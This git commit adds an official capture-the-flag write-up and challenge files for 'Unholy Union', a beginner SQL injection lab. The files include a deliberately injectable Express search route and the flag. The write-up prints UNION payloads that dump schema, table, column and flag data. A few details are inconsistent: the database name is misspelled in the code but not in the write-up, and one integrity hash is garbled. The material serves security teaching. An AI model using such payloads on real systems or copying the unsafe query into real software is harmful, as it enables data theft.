added official hacktheboo2024 writeups

This commit is contained in:
eplots 2024-10-23 11:10:43 +02:00
parent 1f7a9b0566
commit e3c46450f7
327 changed files with 14303 additions and 0 deletions

View file

@ -0,0 +1,20 @@
# Use the official Node.js image as a base
FROM node:alpine
RUN apk add --no-cache --update mariadb mariadb-client supervisor gcc musl-dev mariadb-connector-c-dev
WORKDIR /app
COPY src/ .
COPY config/supervisord.conf /etc/supervisord.conf
COPY --chown=root entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
RUN npm install express request mysql2
# Expose port 3000
EXPOSE 3000
COPY flag.txt /flag.txt
# Command to run the application
ENTRYPOINT [ "/entrypoint.sh" ]

View file

@ -0,0 +1,68 @@
![img](assets/banner.png)
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="6">Unholy Union</font>
20<sup>th</sup> Oct 2024 / Document No. D24.xxx.xxx
Prepared By: Xclow3n
Challenge Author: Xclow3n
Difficulty: <font color=green>Very Easy</font>
Classification: Official
# [Synopsis](#synopsis)
Unholy Union is a very easy web challenge designed to help players understand and exploit SQL Injection.
# Skills Required
- Basic knowledge of SQL
# Skills Learned
- SQL Injection
# [Solution](#Solution)
Visiting the web app displays the following page:
![img](assets/home.png)
We can perform a search, which updates the SQL query, and clicking the search button shows the results in both the web app and the debug window.
![img](assets/search.png)
Let's add a quote to see if we can break out of the SQL query and inject our own commands.
![img](assets/error.png)
We get a syntax error, which means we can inject SQL. Let's retrieve all the existing databases using the following query:
```
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.schemata) -- -
```
![img](assets/schema.png)
Running this query shows a database named `halloween_inventory` in addition to the default ones.
Next, let's fetch all the tables in this database with the following query:
```
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA='halloween_inventory') -- -
```
![img](assets/table.png)
We see a table named `flag`. Now, let's find the columns in this table to retrieve data. Use this query:
```
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='flag') -- -
```
![img](assets/column.png)
Now that we know the column and table names, let's fetch the flag using this query:
```
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(flag) FROM flag) -- -
```
![img](assets/flag.png)
This completes the challenge! :)

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 469 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 479 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 444 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 480 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 490 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 478 KiB

View file

@ -0,0 +1,2 @@
docker build . -t very-easy-sqli
docker run -it -p 3000:3000 very-easy-sqli

View file

@ -0,0 +1,15 @@
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:node]
command=node index.js
directory=/app
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

View file

@ -0,0 +1,53 @@
#!/bin/ash
# Initialize & Start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-networking=0 &
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo 'not up' && sleep .2; done
mysql -u root << EOF
DROP DATABASE IF EXISTS halloween_invetory;
CREATE DATABASE IF NOT EXISTS halloween_invetory;
USE halloween_invetory;
CREATE TABLE IF NOT EXISTS flag (
flag VARCHAR(255) NOT NULL
);
INSERT INTO flag(flag) VALUES("$(cat /flag.txt)");
CREATE TABLE IF NOT EXISTS inventory (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
description TEXT,
origin VARCHAR(255),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
INSERT INTO inventory (name, description, origin) VALUES
('Plumbus', 'A highly useful multi-purpose tool.', 'Planet Schlooch'),
('Meeseeks Box', 'A box that creates Meeseeks for fulfilling tasks.', 'Planet Meeseekon'),
('Portal Gun', 'A handheld device that creates portals between dimensions.', 'Earth Dimension C-137'),
('Neutrino Bomb', 'A powerful bomb capable of destroying planets.', 'Planet Shlorp'),
('Death Crystal', 'A crystal that shows possible death outcomes for its holder.', 'Froopyland');
INSERT INTO inventory (name, description, origin) VALUES
('Space Cruiser', 'A fast vehicle for interstellar travel.', 'Galactic Federation'),
('Fart Knocker', 'A vehicle used for high-speed chases.', 'Planet Gazorpazorp'),
('Interdimensional Cable Car', 'A vehicle capable of traveling between dimensions.', 'Dimension 35-C'),
('Hovercraft', 'A floating vehicle for all-terrain exploration.', 'Planet Squanch'),
('Galactic Freight Ship', 'A massive ship used for transporting goods across galaxies.', 'Alpha Centauri');
CREATE USER 'user'@'localhost' IDENTIFIED BY 'user_password';
GRANT ALL PRIVILEGES ON halloween_invetory.* TO 'user'@'localhost';
FLUSH PRIVILEGES;
EOF
/usr/bin/supervisord -c /etc/supervisord.conf

View file

@ -0,0 +1 @@
HTB{uN10n_1nj3ct10n_4r3_345y_t0_l34rn_r1gh17?}

View file

@ -0,0 +1,66 @@
const express = require("express");
const path = require("path");
const mysql = require("mysql2/promise");
const app = express();
// Create a MySQL connection pool
const pool = mysql.createPool({
host: "127.0.0.1",
user: "user",
password: "user_password",
database: "halloween_invetory",
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0,
});
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", "*");
res.header(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept",
);
next();
});
app.use(express.static(path.join(__dirname, "public")));
app.get("/", async (req, res) => {
const query = req.query.query ? req.query.query : "";
let results = { status: null, message: null };
res.sendFile(path.join(__dirname, "views", "index.html"));
});
app.get("/search", async (req, res) => {
const query = req.query.query ? req.query.query : "";
let results = { status: null, message: null };
try {
let sqlQuery;
if (query === "") {
sqlQuery = "SELECT * FROM inventory";
} else {
sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
}
const [rows] = await pool.query(sqlQuery);
results.status = "success";
results.message = rows;
} catch (err) {
console.error("Error executing query:", err.stack);
results.status = "failed";
results.message = err.message;
}
return res.json(results);
});
app.use((req, res) => {
res.sendFile(path.join(__dirname, "views", "404.html"));
});
app.listen(3000, () => {
console.log(`Proxy server is running on http://localhost:3000`);
});

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,10 @@
{
"dependencies": {
"express": "^4.21.0",
"mysql2": "^3.11.3",
"request": "^2.88.2"
},
"devDependencies": {
"nodemon": "^3.1.7"
}
}

View file

@ -0,0 +1,153 @@
body {
background-color: #061f2b;
color: white;
font-family: "Press Start 2P";
/* font-weight: 200; */
font-size: small;
font-style: normal;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
flex-direction: column;
}
header h1 {
color: #333;
font-size: 32px;
}
.warning {
color: #ff008d;
}
nav {
background-color: #ea00d9;
}
div button {
background-color: #ea00d9;
color: white;
}
nav a {
color: white;
}
header p {
color: #666;
line-height: 1.5;
}
.genres {
font-weight: bold;
color: #007bff;
}
.section-header {
/* background-color: #130981; */
/* color: ; */
border: 2px solid white;
padding: 7px;
justify-content: center;
}
/* aa */
.content {
flex: 1;
padding: 20px;
background-color: #f0f0f0;
}
.footer {
position: fixed;
bottom: 0;
width: 100%;
background-color: #091833;
color: white;
transition: height 0.3s;
overflow: hidden;
}
.footer.collapsed {
height: 40px;
}
.footer.expanded {
height: 45%;
}
.footer.fullscreen {
height: 100%;
}
.footer-sections {
display: flex;
flex-direction: column;
align-items: center;
width: 100%;
height: 100%;
}
.footer-header {
/* margin-left: 20px; */
padding-left: 0.75rem !important;
display: flex;
/* justify-content: space-around; */
align-items: center;
width: 100%;
background-color: #644b77;
padding: 10px 0;
}
.footer-section-container {
display: flex;
justify-content: space-around;
width: 100%;
height: calc(100% - 40px);
}
.footer-section {
width: 50%;
padding: 10px;
box-sizing: border-box;
}
.footer-section h4 {
margin: 0;
padding: 10px 0;
background-color: #644b77;
text-align: center;
}
.footer-section p {
padding: 10px;
background-color: #555;
text-align: center;
height: calc(100% - 40px);
margin: 0;
}
h4 {
margin: 0;
padding: 0 20px;
font-size: 0.7rem;
}
.footer-header button {
display: flex; /* Enable Flexbox */
align-items: center; /* Center vertically */
justify-content: center; /* Center horizontally */
width: 24px;
height: 24px;
padding: 0; /* Remove default padding */
margin-right: 5px;
border: none; /* Remove default border */
/* background: transparent; Remove default background */
cursor: pointer; /* Add pointer cursor on hover */
border-radius: 50%; /* Make the button circular */
}
.footer-header svg {
width: 12px; /* Set the SVG width */
height: 12px; /* Set the SVG height */
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
border: none;
background-color: none;
}

View file

@ -0,0 +1,102 @@
function updateQuery() {
const query = document.getElementById("searchInput").value;
let sqlQuery;
// If the query is empty, show the full inventory query
if (query === "") {
sqlQuery = "SELECT * FROM inventory";
} else {
sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
}
// Update the SQL query and re-highlight using Prism.js
const debugQuery = document.getElementById("debugQuery");
debugQuery.textContent = sqlQuery;
Prism.highlightElement(debugQuery); // Re-highlight the SQL query
}
async function performQuery() {
const query = document.querySelector("input").value;
const container = document.getElementById("resultsContainer");
// Perform the fetch request with the user's input
const response = await fetch("/search?query=" + query).then((response) =>
response.json(),
);
console.log(response.message);
console.log(response.status);
// Check if the message is empty
if (
response.status === "success" &&
response.message &&
response.message.length > 0
) {
const results = response.message;
const table = document.createElement("table");
table.setAttribute("class", "table table-bordered");
const tableHeader = document.createElement("tr");
const headers = Object.keys(results[0]);
headers.forEach((header) => {
const th = document.createElement("th");
th.textContent = header;
tableHeader.appendChild(th);
});
table.appendChild(tableHeader);
results.forEach((row) => {
const tableRow = document.createElement("tr");
headers.forEach((header) => {
const td = document.createElement("td");
td.textContent = row[header];
tableRow.appendChild(td);
});
table.appendChild(tableRow);
});
container.innerHTML = "";
container.appendChild(table);
} else {
// If the response is empty, display "Cannot find"
container.innerHTML = `<p class="warning">Cannot find any matching items.</p>`;
}
// Update and highlight the SQL query in real-time based on user input
updateQuery();
// Highlight the JSON response (output)
const debugMessage = document.getElementById("debugMessage");
debugMessage.textContent = JSON.stringify(
response.message || "No data returned",
null,
2,
);
Prism.highlightElement(debugMessage); // Re-highlight the JSON output
}
document.addEventListener("DOMContentLoaded", () => {
updateQuery(); // Highlight the initial query on load
});
const footer = document.getElementById("footer");
const minimize = document.getElementById("minimize");
const expand = document.getElementById("expand");
const fullscreen = document.getElementById("fullscreen");
const maincontent = document.getElementById("main-content");
expand.addEventListener("click", () => {
footer.style.height = "45%";
maincontent.style.padding = "0 0 30% 0";
});
minimize.addEventListener("click", () => {
footer.style.height = "40px";
maincontent.style.padding = "0";
});
fullscreen.addEventListener("click", () => {
footer.style.height = "100%";
});

View file

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Not Found</title>
</head>
<body>
<p>The document you request is not found.</p>
</body>
</html>

View file

@ -0,0 +1,249 @@
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Haunted Inventory Manager - Halloween Edition</title>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css"
integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm"
crossorigin="anonymous"
/>
<link
rel="stylesheet"
href="https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"
/>
<link rel="stylesheet" href="/static/css/styles.css" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link
rel="preconnect"
href="https://fonts.gstatic.com"
crossorigin=""
/>
<link
href="https://fonts.googleapis.com/css2?family=Creepster&amp;display=swap"
rel="stylesheet"
/>
<!-- Prism.js for syntax highlighting -->
<link
href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/themes/prism-okaidia.min.css"
rel="stylesheet"
/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/prism.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/components/prism-sql.min.js"></script>
<style>
body {
background-color: #0c0c0c;
color: #e4e4e4;
font-family: "Creepster", cursive;
}
h3,
p {
color: #ff7518; /* Halloween orange */
}
.btn {
background-color: #ff7518;
color: black;
border: none;
}
.btn:hover {
background-color: #ff8e3c;
}
input[type="text"] {
background-color: #2d2d2d;
color: white;
/* border: 2px solid #ff7518; */
}
input[type="text"]::placeholder {
color: #ff8e3c;
}
.footer-header h4 {
color: #e4e4e4;
font-family: "Creepster", cursive;
}
/* Halloween themed borders and background */
.container {
background-color: #2d2d2d;
border: 4px solid #ff7518;
border-radius: 15px;
padding: 20px;
}
.footer {
background-color: #0c0c0c;
}
/* Halloween themed scrollbars */
::-webkit-scrollbar {
width: 10px;
}
::-webkit-scrollbar-track {
background: #0c0c0c;
}
::-webkit-scrollbar-thumb {
background: #ff7518;
}
::-webkit-scrollbar-thumb:hover {
background: #ff8e3c;
}
.warning {
color: #ff7518;
font-weight: bold;
}
/* Halloween themed icons for minimize, expand, and fullscreen */
#minimize svg,
#expand svg,
#fullscreen svg {
fill: #ff7518;
}
#minimize:hover svg,
#expand:hover svg,
#fullscreen:hover svg {
fill: #ff8e3c;
}
/* Prism syntax highlighting customization */
pre[class*="language-"] {
height: 100%;
overflow: scroll;
background: #1e1e1e;
color: #ff7518;
}
</style>
</head>
<body>
<div class="container mt-5" id="main-content">
<div class="p-3">
<h3>🎃 Haunted Inventory Manager 🎃</h3>
<br />
<p>
Welcome to the spooky future of haunted inventory
management. Keep track of your eerie and cursed items... if
you dare!
</p>
<p class="warning">
⚠️ Attention: Our system is haunted by an unknown force. The
system is locked down for your safety. ⚠️
</p>
<p>
Search the cursed inventory manually below, if you dare...
👻
</p>
<input
type="text"
name="query"
id="searchInput"
style="width: 100%"
class="p-2"
placeholder="Search for haunted items..."
value=""
oninput="updateQuery()"
/>
<button type="submit" class="btn mt-3" onclick="performQuery()">
Search
</button>
<div class="col-xs-1 section-header mt-5" align="center">
Results
</div>
<div id="resultsContainer"></div>
</div>
</div>
<div class="footer expanded" id="footer">
<div class="footer-sections">
<div class="footer-header">
<button id="minimize" class="btn-danger">
<svg
xmlns="http://www.w3.org/2000/svg"
width="16"
height="16"
fill="white"
class="bi bi-dash"
viewBox="0 0 16 16"
>
<path
d="M4 8a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 0 1h-7A.5.5 0 0 1 4 8"
></path>
</svg>
</button>
<button id="expand" class="btn-warning">
<svg
xmlns="http://www.w3.org/2000/svg"
width="16"
height="16"
fill="white"
class="bi bi-arrows-angle-expand"
viewBox="0 0 16 16"
>
<path
fill-rule="evenodd"
d="M5.828 10.172a.5.5 0 0 0-.707 0l-4.096 4.096V11.5a.5.5 0 0 0-1 0v3.975a.5.5 0 0 0 .5.5H4.5a.5.5 0 0 0 0-1H1.732l4.096-4.096a.5.5 0 0 0 0-.707m4.344-4.344a.5.5 0 0 0 .707 0l4.096-4.096V4.5a.5.5 0 1 0 1 0V.525a.5.5 0 0 0-.5-.5H11.5a.5.5 0 0 0 0 1h2.768l-4.096 4.096a.5.5 0 0 0 0 .707"
></path>
</svg>
</button>
<button id="fullscreen" class="btn-success">
<svg
xmlns="http://www.w3.org/2000/svg"
width="16"
height="16"
fill="white"
class="bi bi-arrows-fullscreen"
viewBox="0 0 16 16"
>
<path
fill-rule="evenodd"
d="M5.828 10.172a.5.5 0 0 0-.707 0l-4.096 4.096V11.5a.5.5 0 1 0 1 0v3.975a.5.5 0 0 0 .5.5H4.5a.5.5 0 0 0 0-1H1.732l4.096-4.096a.5.5 0 0 0 0-.707m4.344 0a.5.5 0 0 1 .707 0l4.096 4.096V11.5a.5.5 0 1 1 1 0v3.975a.5.5 0 0 1-.5.5H11.5a.5.5 0 0 1 0-1h2.768l-4.096-4.096a.5.5 0 0 1 0-.707m0-4.344a.5.5 0 0 0 .707 0l4.096-4.096V4.5a.5.5 0 1 0 1 0V.525a.5.5 0 0 0-.5-.5H11.5a.5.5 0 0 0 0 1h2.768l-4.096 4.096a.5.5 0 0 0 0 .707m-4.344 0a.5.5 0 0 1-.707 0L1.025 1.732V4.5a.5.5 0 0 1-1 0V.525a.5.5 0 0 1 .5-.5H4.5a.5.5 0 0 1 0 1H1.732l4.096 4.096a.5.5 0 0 1 0 .707"
></path>
</svg>
</button>
<h4>👻 Debug Information</h4>
</div>
<div class="footer-section-container">
<div class="footer-section">
<h4>SQL Query</h4>
<pre
class="language-sql"
tabindex="0"
><code id="debugQuery" class="language-sql"><span class="token keyword">SELECT</span> <span class="token operator">*</span> <span class="token keyword">FROM</span> inventory <span class="token keyword">WHERE</span> name <span class="token operator">LIKE</span> <span class="token string">'%a%'</span></code></pre>
</div>
<div class="footer-section">
<h4>SQL Output</h4>
<pre
class="language-js"
tabindex="0"
><code id="debugMessage" class="language-js"></code></pre>
</div>
</div>
</div>
</div>
<script
src="https://code.jquery.com/jquery-3.2.1.slim.min.js"
integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
crossorigin="anonymous"
></script>
<script
src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js"
integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K"
crossorigin="anonymous"
></script>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js"
integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
crossorigin="anonymous"
></script>
<script src="static/js/script.js"></script>
</body>
</html>